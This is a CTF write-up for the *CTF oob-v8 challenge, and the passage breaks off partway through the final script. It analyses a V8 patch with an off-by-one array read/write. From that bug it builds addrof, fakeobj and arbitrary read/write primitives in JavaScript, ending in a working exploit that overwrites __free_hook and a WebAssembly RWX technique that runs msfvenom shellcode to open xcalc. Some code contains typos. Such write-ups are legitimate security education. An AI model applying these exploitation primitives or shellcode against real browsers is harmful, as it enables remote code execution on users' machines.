This post will cover the chrome exploit challenge oob-v8 from *CTF. The challenge can be found here.

01 -Analyzing the Patch

if we take a close look at the patch oob.diff from the *CTF v8-oob challenge we will observe the introduction of the ArrayOob function. Authors of this challenge didn’t really wanted to make the discovery of the vulnerability a hard task, and there are even comments for the read/write primitives.

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

  • Arguments passed will be checked to be greater than 2. If arguments are greater than 2, the function returns an undefined value
  • The JSArray is casted into a FixedDoubleArray.
  • The length variable will hold the length of the array. Lets remember that the length of the array should be length-1 since the first element of the array would be a pointer to this, and therefore not being part of the Array’s elements.
  • If the number of arguments is 1, meaning no arguments other than this, then the function will return the element at position elements[length]. This denotes an OOB read by one index, as the real index of the first element should be 0.
  • If the number of arguments is 2, meaning one additional argument apart from this, the element at index elements[length], will be set to the value of value. That denotes an OOB write by one index.

02 - Leveraging the OOB vulnerabilities

As we were able to analyze, we essentially have two vulnerabilities. An OOB read and an OOB write.

How can we leverage these vulnerabilities? Thats exactly the question we will be answering in this section.

First of all, we know that the vulnerable code, only affects arrays as is implemented as an array property.

Furthermore, we know that each Array can hold elements of different kind. Depending of their kind, Array elements will be stored in different ways, including them being inlined and out-of-line in the given internal holding object of a JSArray object.

For example, lets look at a an JSArray with elements of kind PACKED_ELEMENTS:

let a = [1.1, 3, "1"]
If we inspect this Array in GDB with d8 debug build we can see how these elements are stored:

d8> %DebugPrint(a)
DebugPrint: 0x34e829bd1499: [JSArray]
 - map: 0x23fe2f482f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x1a89b9ad1111 <JSArray[0]>
 - elements: 0x34e829bd1429 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
 - length: 3
 - properties: 0x39bc44b00c71 <FixedArray[0]> {
    #length: 0x335aec1001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34e829bd1429 <FixedArray[3]> {
           0: 0x1a89b9ae2761 <HeapNumber 1.1>
           1: 3
           2: 0x1a89b9ae26c9 <String[#1]: 5>
 }
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x34e829bd1499-1							// JSArray
0x34e829bd1498:	0x000023fe2f482f79	0x000039bc44b00c71
//					^---map                 ^---properties
0x34e829bd14a8:	0x000034e829bd1429	0x0000000300000000
//					^---elements

pwndbg> x/18xg 0x000034e829bd1429-1						// elements pointer
0x34e829bd1428:	0x000039bc44b00851	0x0000000300000000  // FixedArray
//					^--- map                ^---- length
0x34e829bd1438:	0x00001a89b9ae2761	0x0000000300000000
//					^--- HeapNumber 1.1     ^---- Smi 3
0x34e829bd1448:	0x00001a89b9ae26c9	0x000039bc44b00851
//					^--- String[#1]			^---- another Map instance
0x34e829bd1458:	0x0000000400000000	0x0000335aec108039  // -+
0x34e829bd1468:	0x000034e829bd13e9	0x0000000000000000  //  | other related
0x34e829bd1478:	0xffffffff00000000	0x000039bc44b012c9  //  | HeapObjects
0x34e829bd1488:	0x0000000100000000	0x0000040000000000  // -+
0x34e829bd1498:	0x000023fe2f482f79	0x000039bc44b00c71  // JSArray
0x34e829bd14a8:	0x000034e829bd1429	0x0000000300000000
As we can observe, there are a few other allocated HeapObjects consecutively after the JSArray’s’ elements. But we will soon realize, this is not the case for Arrays with different elements kinds. Lets look another example of a JSArray with elements of kind PACKED_DOUBLE_ELEMENTS:

let b = [1.2, 1.1]

Looking at the d8 debug build in GDB we see the following:

d8> %DebugPrint(b)
DebugPrint: 0x34e829bd1ad1: [JSArray]
 - map: 0x23fe2f482ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x1a89b9ad1111 <JSArray[0]>
 - elements: 0x34e829bd1ab1 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x39bc44b00c71 <FixedArray[0]> {
    #length: 0x335aec1001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34e829bd1ab1 <FixedDoubleArray[2]> {
           0: 1.2
           1: 1.1
 }
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x34e829bd1ad1-1                           // JSArray
0x34e829bd1ad0:	0x000023fe2f482ed9	0x000039bc44b00c71
//                    ^---map                 ^---properties
0x34e829bd1ae0:	0x000034e829bd1ab1	0x0000000200000000
//                    ^---elements

pwndbg> x/8xg 0x000034e829bd1ab1-1                       // elements pointer
0x34e829bd1ab0:	0x000039bc44b014f9	0x0000000200000000   // FixedDoubleArray
//                    ^--- map                ^--- length
0x34e829bd1ac0:	0x3ff3333333333333	0x3ff199999999999a
//                    ^--- 1.2                ^--- 1.1
0x34e829bd1ad0:	0x000023fe2f482ed9	0x000039bc44b00c71   // JSArray
0x34e829bd1ae0:	0x000034e829bd1ab1	0x0000000200000000
As we can see, for a JSArray of elements of kind PACKED_DOUBLE_ELEMENTS, these are stored as 64bit doubles, and there is no other consecutive objects after the JSArray elements.

This is relevant since our OOB vulnerabilities only enable us to write/read the next field after the last element of our JSArray object. Therefore, we can already tell that depending which kind of elements we use, we will be able to read/wrtie a different map instance accordingly.

For the JSArray a with elements of kind PACKED_ELEMENTS, we will be able to read/write the map instance of the FixedArray object holding the elements of our JSArray object. We can see this debugging the d8 release instance:

d8> let a = [1.1, 3, "1"]   
d8> "0x"+ftoi(a.oob()).toString(16)
"0x3882de940851"
d8> %DebugPrint(a)
0x176d4ccd0d01 <JSArray[3]>
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x176d4ccd0d01-1
0x176d4ccd0d00:	0x0000332786dc2f79	0x00003882de940c71   // JSArray
0x176d4ccd0d10:	0x0000176d4ccd0c61	0x0000000300000000
pwndbg> x/24xg 0x0000176d4ccd0c61-1                      // Elements
0x176d4ccd0c60:	0x00003882de940851	0x0000000300000000
0x176d4ccd0c70:	0x0000291e539227d1	0x0000000300000000
0x176d4ccd0c80:	0x00003882de944349	0x00003882de940851
//                                          ^--- return of a.oob()
0x176d4ccd0c90:	0x0000000400000000	0x000009a078f03b29
0x176d4ccd0ca0:	0x0000176d4ccd0c21	0x0000000000000000
0x176d4ccd0cb0:	0xffffffff00000000	0x00003882de9412c9
0x176d4ccd0cc0:	0x0000000100000000	0x0000040000000000
0x176d4ccd0cd0:	0x00003882de941279	0x0000000400000000
0x176d4ccd0ce0:	0x0000000200000000	0x0000291e539173e9
0x176d4ccd0cf0:	0x0000291e53922949	0x00003882de9404d1
0x176d4ccd0d00:	0x0000332786dc2f79	0x00003882de940c71   // JSArray
0x176d4ccd0d10:	0x0000176d4ccd0c61	0x0000000300000000
However, on the other hand, we can observe that if we instead use the JSArray b with elements of kind PACKED_DOUBLE_ELEMENTS, we would instead read/write the map instance of our JSArray object itself, due to the very way these kind of elements are stored. We can observe the following in GDB, again debugging the d8 release build:

d8> let b = [1.2, 1.1]
d8> "0x"+ftoi(b.oob()).toString(16)
"0x332786dc2ed9"
d8> %DebugPrint(b)
0x176d4ccd1401 <JSArray[2]>
[1.2, 1.1]
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x176d4ccd1401-1                              // JSArray
0x176d4ccd1400:	0x0000332786dc2ed9	0x00003882de940c71
0x176d4ccd1410:	0x0000176d4ccd13e1	0x0000000200000000
pwndbg> x/8xg 0x0000176d4ccd13e1-1                          // Elements
0x176d4ccd13e0:	0x00003882de9414f9	0x0000000200000000
0x176d4ccd13f0:	0x3ff3333333333333	0x3ff199999999999a
0x176d4ccd1400:	0x0000332786dc2ed9	0x00003882de940c71      // JSArray
//                      ^--- return of b.oob()
0x176d4ccd1410:	0x0000176d4ccd13e1	0x0000000200000000
Therefore, we should consider using an Array of elements of kind PACKED_DOUBLE_ELEMENTS , as we were able to observe, in this case scenario the OOB read/write would enable us to change the map instance of our JSArray object. In the next section we will cover how we can abuse this for exploitation purposes. However, lets also check what happends on an array of objects:
d8> let obj_tmp = {a: 1}
d8> let obj_arr = [obj_tmp, obj_tmp]
d8> %DebugPrint(obj_arr)
0x176d4ccd4811 <JSArray[2]>
d8> %DebugPrint(obj_tmp)
0x176d4ccd2fc1 <Object map = 0x332786dcab39>
d8> "0x"+ftoi(obj_arr.oob()).toString(16)
"0x332786dc2f79"
─────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x176d4ccd4811-1
0x176d4ccd4810:	0x0000332786dc2f79	0x00003882de940c71   // JSArray
0x176d4ccd4820:	0x0000176d4ccd47f1	0x0000000200000000
pwndbg> x/8xg 0x0000176d4ccd47f1-1
0x176d4ccd47f0:	0x00003882de940801	0x0000000200000000   // Elements
0x176d4ccd4800:	0x0000176d4ccd2fc1	0x0000176d4ccd2fc1		
//                     ^--- slot: 0			^--- slot: 1
0x176d4ccd4810:	0x0000332786dc2f79	0x00003882de940c71   // JSArray
//                     ^--- return of obj_arr.oob()
0x176d4ccd4820:	0x0000176d4ccd47f1	0x0000000200000000
We can observe that on an JSArray of objects, elements layout is stored very similarly as in a PACKED_DOUBLE_ELEMENTS JSArray containing doubles, despite the fact that the element kind of a JSArray of objects is of PACKED_ELEMENTS.

03 - The AddrOf and FakeObj Primitives

We covered that thanks to the OOB read vulnerability, we can leak the map of a JSArray of objects and a JSArray of doubles. But lets remember that we also have a OOB write primitive. Could we overwrite the map of one object with another? Lets find out:

d8> arr_float = [1.1, 2.2]
d8> arr_float_map = arr_float.oob()
d8> obj = {}
d8> obj_arr[0] = obj
d8> obj_arr.oob(arr_float_map)          // overwritting JSArray of objects' 
                                        // map with the map of an JSArray
                                        // of doubles
d8> obj_arr[0]                          // This should have returned
9.907674278247e-311                     // an object but instead
                                        // it returns a float
d8> "0x"+ftoi(obj_arr[0]).toString(16)
"0x123d09290a11"
d8> %DebugPrint(obj)
0x123d09290a11 <Object map = 0xc8433dc0459>
d8> 

We can observe that if we overwrite the map of a JSArray of Objects with the map of an JSArray of doubles, the affected JSArray of objects will behave differently when elements are tried to be yield from it, returning the double interpretation of the object handle rather than the object handle itslef. As we can see in the example above, we were able to leak the addess of obj using this methodology. This is what’s commonly known as the addrof primitive, abusing a type-confusion bug to leverage a memory disclousure vulnerbability.

Other common type-confusion primitive, is whats commonly known as fakeobj. Although is quite similar, it serves for a different purpose. Fakeobj in this example consists of replacing the map instance of an JSArray of doubles to the one of an JSArray of objects. This way, we can force V8 to interpret an object instance in a location where in reality it doesn’t exist. The implications of fabricating an object on an arbitrary memory location entails that one would ultimately be able to read/write that arbitrary location by manipulating the elements of the given object. Lets illustrate this with an example:

d8> flt_arr = [1.1, 1.2]
d8> temp_obj = {}
d8> objt_arr = [temp_obj]
d8> objt_arr_map = objt_arr.oob()
d8> fake_object_template = [1.1, 1.2, 1.3]
d8> %DebugPrint(fake_object_template)
0x2824cc3d2509 <JSArray[4]>
d8> flt_arr[0] = itof(0x2824cc3d2509n)
d8> flt_arr.oob(objt_arr_map)           // Overwritting flt_arr map
d8> let fake_obj = flt_arr[0]           // this should be a float.
d8> fake_obj                            // instead is a copy of flt_arr
[1.1, 1.2, 1.3]
d8> %DebugPrint(fake_obj)
0x2824cc3d2509 <JSArray[4]>
[1.1, 1.2, 1.3]
d8> fake_obj[0]
1.1
From now on we will refer to these primitives as addrof and fakeobj and we will be supplying them to the d8 shell with the following script:

var tmp_obj = {}
var obj_arr = [tmp_obj]
var fl_arr = [1.1, 2.2]

// oob read. leaking the Array of objects map
var obj_map = obj_arr.oob()
// oob read. leaking the Array of doubles map
var fl_map = fl_arr.oob()

function addrof(in_obj) {
        // setting the object we want the address of as an element of obj_arr
        obj_arr[0] = in_obj;

        // oob write. changing the map of obj_arr for the fl_arr map.
        obj_arr.oob(fl_map);

        // even though we are accesing obj_arr, the returned element will be a float
        let addr = obj_arr[0];

        // oob write. restoring the map of the object for the original one
        obj_arr.oob(obj_map);
		
        // returning the integer representation of the leaked pointer
        return ftoi(addr);
}

function fakeobj(addr) {
        // storing the float value of an arbitrary address as an element of float_arr
        float_arr[0] = itof(addr);

        // oob write. replacing the map of the float_arr to that of the obj_arr
        floar_arr.oob(obj_map);

        // even though we are accessing fl_arr, the returned element will be a tagged pointer.
        let fake = float_arr[0]

        // oob write. restoring original map of fl_arr
        float_arr.oob(float_map);

        // returning tagged pointer of arbitrary address
        return fake;
}

04 - Introducing an Arbitrary Read Primitive

Since we have the capability of knowing the address of objects, and to create an object in any arbitrary address that we wish thanks to the previous addrof and fakeobj primitives accordingly, the realization of an arbitrary read primitive is fearly straight forward:

  1. The first step is to create a fake FixedDoubleArray object via fakeobj. We can do this by creating a “crafted” array, in which its first element is a DoubleArray map. We should create our fake object on top of our crafted array elements object, taking into account that elements in a FixedDoubleArray will be stored -0x20 bytes from the actual address of the given JSArray object address.
  2. Once we have created our fake object on top of our crafted array’s elements, then we can manipulate the elements of that array, as if they were the actual properties or element pointers of our fake JSArray object.
  3. We can modify crafted_arr[2] as to replace what would be the elements pointer of our fake object. Since we will be dereferencing the value of what would be the first element of our fake object, the dereferenced value will be the contents of object's elements pointer + element offset. It’s important to mention that we have to substract to crafted_arr[2] the offset from the initial address of the JSArray object to its first element, in this case 0x10. This is becuase the usual structure of the FixedDoubleArray object holding the elements of a given JSObject, would be the following:
    • offset 0: FixedDoubleArray map
    • offset 8: Number of elements is Smi notation
    • offset 16: First element
    • offset 24: Second element
    • … and so on Therefore, when v8 tries to access the first element of an JSarray object, it will retrieve the elements pointer from the JSArray object, and will add to it the offset of the first element (in this case 0x10).
  4. As mentioned previously, when we retrieve the contents of fake[0], it will dereference its element pointer, and since the object is of type FixedDoubleArray (as estipulated by its object map at crafted_arr[0]) it will return a float representation of the derefenced value.

We can see this ilustrated in the following d8/gdb session:

d8> test_arr = [0x1337]
[4919]
d8> crafted_arr = [fl_arr_map, 1.1, 1.2, 1.3];
[1.82361084311683e-310, 1.1, 1.2, 1.3]
// creating our fake object on top of our crafted array
d8> let _fake = fakeobj(addrof(crafted_arr)-0x20n);
undefined
// overwriting what would be _fake's elements pointer
d8> crafted_arr[2] = itof(addrof(test_arr)+16n-0x10n);  
1.34989222600073e-310
d8> elements_ptr = _fake[0]
1.349892225996e-310
d8> "0x"+ftoi(elements_ptr).toString(16);
"0x18d96d6d5e41" // this is test_arr elements pointer
d8> %DebugPrint(test_arr)
0x18d96d6d5e71 <JSArray[1]>
d8> %DebugPrint(crafted_arr)
0x18d9bd6d5e71 <JSArray[4]>
─────────────────────────────────────────────────────────────────────────────
// test_arr
pwndbg> x/4xg 0x18d96d6d5e71-1 
0x18d96d6d5e70:	0x00002191d8fc2ed9	0x00003261124c0c71         //JSArray
0x18d96d6d5e80:	0x000018d96d6d5e41	0x0000000400000000
//                      ^--elements_ptr
// crafted_arr before modification
pwndbg> x/8xg 0x18d9bd6d5e70-0x20   // FixedDoubleArray holding 
                                    // JSArray's elements (at JSArray-0x20) 
                                    // _fake fakeobj is created here	
0x18d9bd6d5e50:	0x00002a91d8fc2ed9	0x3ff199999999999a
//                     ^--fl_arr_map		^--1.1
0x18d9bd6d5e60:	0x3ff3333333333333	0x3ff4cccccccccccd
//                     ^--1.2				^--1.3
0x18d9bd6d5e70:	0x000021b1d8fc2ed9	0x00003461124c0c71         //JSArray
0x18d9bd6d5e80:	0x000018d9bd6d5e41	0x0000000400000000

We can create a JS function for this primitive as follows:

var crafted_arr = [fl_arr_map, 1.2, 1.3, 1.4];
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
        addr += 1n;

    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(crafted_arr) - 0x20n);

    // Change the elements pointer using our crafted array to read_addr-0x10
    crafted_arr[2] = itof(BigInt(addr) - 0x10n);

    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}

05 - Introducing an Arbitrary Write Primitive

One could argue that to achieve an arbitrary write primitive would be as simple as achieving an arbitrary read primitive, however this is not the case unfortunately. We can use the same concept as to leverage our fakeobj primitive, but with a twist.

we can write an intial write primitive following the previous implementation of addrof:

function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}
We can see that this implementation of a write primitive will work for writes to objects as seen below:

d8> test_arr = [1.1]
[1.1]
d8> %DebugPrint(test_arr)         
0x3ae05860f8b1 <JSArray[1]>
[1.1]
d8> initial_arb_write(addrof(test_arr), 0x1337);
─────────────────────────────────────────────────────────────────────────────
pwndbg>x/xg 0x3ae05860f8b1-1
0x3ae05860f8b0:	0x0000000000001337
However, if we try to overwrite libc pointers, we will see this primitive causes a crash as shown below:
pwndbg> p system
$3 = {int (const char *)} 0x7ffff7c78410 <__libc_system>
pwndbg> p &__free_hook
$5 = (void (**)(void *, const void *)) 0x7ffff7e11b28 <__free_hook>
pwndbg> c
Continuing.
─────────────────────────────────────────────────────────────────────────────
d8> initial_arb_write(0x7ffff7e11b28, 0x7ffff7c78410)
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
Reasons why this happens are not clear, but having a conversation with @farazsth98 regarding this subject, he believes this fault is due to some integrity checks run by v8 in order to avoid these type of write primitives. However, there is a work-around to this issue by using a ArrayBuffer and a DataView object, by overwriting the backing store pointer of the ArrayBuffer and using a DataView instance to write a 64-bit value into the ArrayBuffer backing store.

Here are the specs of ArrayBuffer and DataView objects. This works as follows:

function arb_write(addr, val) {
	// creating an ArrayBuffer holding the value of a 64-bit pointer
    let buf = new ArrayBuffer(8);
	
	// creating a dataview for the ArrayBuffer object
    let dataview = new DataView(buf);
	
	// retrieving the address of the ArrayBuffer object
    let buf_addr = addrof(buf);
	
	// retrieveing the address of the backing_store pointer of the
	// ArrayBuffer object located at offset +0x20
    let backing_store_addr = buf_addr + 0x20n;
	
	// overwritting the backing_store pointer with the value we desire
	// to overwrite
    initial_arb_write(backing_store_addr, addr);
	
	// using the dataview to dereference the backing pointer and to
	// do the write for us
    dataview.setBigUint64(0, BigInt(val), true);
	// syntax: setBigUint64(byteOffset, value, littleEndian)
}
By applying this technique, we can observe that the write does not SEGFAULT any more:

pwndbg> p system
$8 = {int (const char *)} 0x7ffff7c78410 <__libc_system>
pwndbg> p &__free_hook
$10 = (void (**)(void *, const void *)) 0x7ffff7e11b28 <__free_hook>
pwndbg> c
Continuing.
─────────────────────────────────────────────────────────────────────────────
d8> arb_write(0x7ffff7e11b28, 0x7ffff7c78410)
undefined
[Attaching after Thread 0x7ffff7c22280 (LWP 65392) vfork to child process 65394]
[New inferior 2 (process 65394)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 65392 after child exec]
[Inferior 1 (process 65392) detached]
process 65394 is executing new program: /usr/bin/dash

06 - Exploitation

Version information:

/v8/out.gn/x64.release$ uname -a
Linux ubuntu 5.8.0-50-generic #56~20.04.1-Ubuntu SMP Mon Apr 12 21:46:35 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/v8/out.gn/x64.release$ ./d8 -v
V8 version 7.5.0 (candidate)

06.01 - Overwritting __free_hook to system

/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

var fl_arr = [1.1, 1.3, 1.3, 1.4];
var fl_arr_map = fl_arr.oob();
var tmp_obj = {}
var obj_arr = [tmp_obj];
var obj_arr_map = obj_arr.oob();

function addrof(in_obj) {

	// setting the object we want the address of as an element of obj_arr
	obj_arr[0] = in_obj; 	
	
	// oob write. changing the map of obj_arr for the fl_arr map.
	obj_arr.oob(fl_arr_map); 	

	// even though we are accesing obj_arr, the returned element will be a float
	let addr = obj_arr[0];	
	
	// oob write. restoring the map of the object for the original one
	obj_arr.oob(obj_arr_map);	
	
	// returning the integer representation of the leaked pointer
	return ftoi(addr);	
}

function fakeobj(addr) {
	// storing the float value of an arbitrary address as an element of fl_arr
	fl_arr[0] = itof(addr); 

	// oob write. replacing the map of the fl_arr to that of the obj_arr
	fl_arr.oob(obj_arr_map);

	// even though we are accessing fl_arr, the retur<F3>ned element will be a tagged pointer.
	let fake = fl_arr[0];

	// oob write. restoring original map of fl_arr
	fl_arr.oob(fl_arr_map);

	// returning tagged pointer of arbitrary address
	return fake;
}

var arb_rw_arr = [fl_arr_map, 1.2, 1.3, 1.4];
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
	addr += 1n;

    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
	// creating an ArrayBuffer holding the value of a 64-bit pointer
    let buf = new ArrayBuffer(8);
	
	// creating a dataview for the ArrayBuffer object
    let dataview = new DataView(buf);
	
	// retrieving the address of the ArrayBuffer object
    let buf_addr = addrof(buf);
	
	// retrieveing the address of the backing_store pointer of the
	// ArrayBuffer object located at offset +0x20
    let backing_store_addr = buf_addr + 0x20n;
	
	// overwritting the backing_store pointer with the value we desire
	// to overwrite
    initial_arb_write(backing_store_addr, addr);
	
	// using the dataview to dereference the backing pointer and to
	// do the write for us
    dataview.setBigUint64(0, BigInt(val), true);
	// syntax: setBigUint64(byteOffset, value, littleEndian)
}

function exploit() {
	var test_arr = [1.2];
	var test_arr_map = arb_read(addrof(test_arr));
	
	// found using memory inspection using GDB
	var test_arr_map_segment_base = test_arr_map & 0xffffffff0000n;
	var heap_pointer = arb_read(test_arr_map_segment_base+16n);
	var heap_base = heap_pointer - 0xaef50n;
	print("[+] heap base: 0x"+heap_base.toString(16));
	
	var stack_leak = arb_read(heap_base+0x8ff0n);
	var data_segment_leak = arb_read(stack_leak);
	var code_segment_leak = arb_read(data_segment_leak);
	var code_segment_base = code_segment_leak - 0x12120n;
	print("[+] code base: 0x"+code_segment_base.toString(16));
	
	var first_got_entry = code_segment_base+0xb2c5e0n;
	var libc_leak = arb_read(first_got_entry);
	var libc_base = libc_leak-0x4a090n;
	print("[+] libc base: 0x"+libc_base.toString(16));
	var libc_system = libc_base+0x55410n;
	print("[+] libc system: 0x"+libc_system.toString(16));
	var libc_free_hook = libc_base+0x1eeb28n;
	print("[+] libc __free_hook: 0x"+libc_free_hook.toString(16));
	
	print("[+] Popping calc...");
	arb_write(libc_free_hook, libc_system);
	console.log("xcalc");
}

exploit();

06.02 - RWX WebAssembly pages

The previous methodology seems to only work from the d8 shell, however when the exploit is attempted from Chronium, it doesnt seem to work. It looks like the way to conduct the various leaks is not appropiate, as its likely that Chromium may have a different memory layout than the standalone d8 shell. However, there is a more reliable way (without sandboxing) of executing arbitrary code in Chromium using WebAssembly instances, as is possible the RXW memory gets delegated for these objects. We can see this below:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     0x69674cbc000      0x69674cc4000 rw-p     8000 0      
     0xab4bfd00000      0xab4bfd01000 rw-p     1000 0      
     0xf4aa4195000      0xf4aa4196000 rwxp     1000 0     // <-- RWX page
pwndbg> x/18xg 0x35a4a83e1659-1                           // WASM instance	 
0x35a4a83e1658:	0x00003c19a49c9789	0x00003fd30acc0c71 
0x35a4a83e1668:	0x00003fd30acc0c71	0x00007ffdf69f0000
0x35a4a83e1678:	0x0000000000010000	0x000000000000ffff
0x35a4a83e1688:	0x0000555556355838	0x00003fd30acc0c71
0x35a4a83e1698:	0x00005555563e80f0	0x00003fd30acc04d1
0x35a4a83e16a8:	0x0000000000000000	0x0000000000000000
0x35a4a83e16b8:	0x0000000000000000	0x0000000000000000
0x35a4a83e16c8:	0x00005555563e8110	0x00003fd30acc04d1
0x35a4a83e16d8:	0x000055555634bb70	0x00000f4aa4195000    // WASM instance+0x88
  

We can allocate a WebAssembly instance holding some arbitrary code, copy a shellcode to the WASM instance’s dedicated RWX page, to then execute it. We can do this as follows:

	// from https://wasdk.github.io/WasmFiddle/
	var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
	var wasm_mod = new WebAssembly.Module(wasm_code);
	var wasm_instance = new WebAssembly.Instance(wasm_mod);
	var f = wasm_instance.exports.main;
	var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);

we can find what the wasm_code value should be by using WasmFiddle and finding out the code buffer of a minimal function in C. This would force v8 to allocate a RWX page to hold the WASM instance :

C code:

int main() {
	return 0;
}
WASM code:
(module
 (table 0 anyfunc)
 (memory $0 1)
 (export "memory" (memory $0))
 (export "main" (func $main))
 (func $main (; 0 ;) (result i32)
  (i32.const 0)
 )
)

Code buffer:

var wasmCode = new Uint8Array(
	[
		0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,
		3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,
		128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,
		101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,
		132,128,128,128,0,0,65,0,11
	]
);

The only thing left to do is to write a function to copy our custom shellcode into this RWX page . We can do this by using the ArrayBuffer and DataView objects technique described earlier as follows:

function copy_shellcode(addr, shellcode) {
	let buf = new ArrayBuffer(0x100);
	let dataview = new DataView(buf);
	let buf_addr = addrof(buf);
	let backing_store_addr = buf_addr + 0x20n;
	initial_arb_write(backing_store_addr, addr);

	for (let i = 0; i < shellcode.length; i++) {
		dataview.setUint32(4*i, shellcode[i], true);
	}
}

// msfvenom -p linux/x64/exec CMD='xcalc' --format dword
var shellcode=[					
		0x90909090,
		0x90909090,
		0x782fb848,
		0x636c6163,
		0x48500000,
		0x73752fb8,
		0x69622f72,
		0x8948506e,
		0xc03148e7,
		0x89485750,
		0xd23148e6,
		0x3ac0c748,
		0x50000030,
		0x4944b848,
		0x414c5053,
		0x48503d59,
		0x3148e289,
		0x485250c0,
		0xc748e289,
		0x00003bc0,
		0x050f00
];

As is probably obvious at this point, we need to change the ArrayBuffer’s backing store to point to the rwx_page_addr. The way we can find the location of the ArrayBuffer backing store is as follows:

				+-----------------+           +-----------------+
				|  ArrayBuffer    |     +---->|  RWX PAGE       |
				|                 |     |     |                 |
				| 0x0:  map       |     |     |                 |
				| 0x8:  properties|     |     |                 |
				| 0x10: elements  |     |     |                 |
				| 0x18: byteLength|     |     |                 |
				| 0x20: backingStore ---+     |                 |
				| 0x24: flags     |           |                 |
				+-----------------+           +-----------------+

Following is the whole exploit script:

/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

var fl_arr = [1.1, 1.3, 1.3, 1.4];
var fl_arr_map = fl_arr.oob();
var tmp_obj = {}
var obj_arr = [tmp_obj];
var obj_arr_map = obj_arr.oob();

function addrof(in_obj) {

	// setting the object we want the address of as an element of obj_arr
	obj_arr[0] = in_obj; 	
	
	// oob write. changing the map of obj_arr for the fl_arr map.
	obj_arr.oob(fl_arr_map); 	

	// even though we are accesing obj_arr, the returned element will be a float
	let addr = obj_arr[0];	
	
	// oob write. restoring the map of the object for the original one
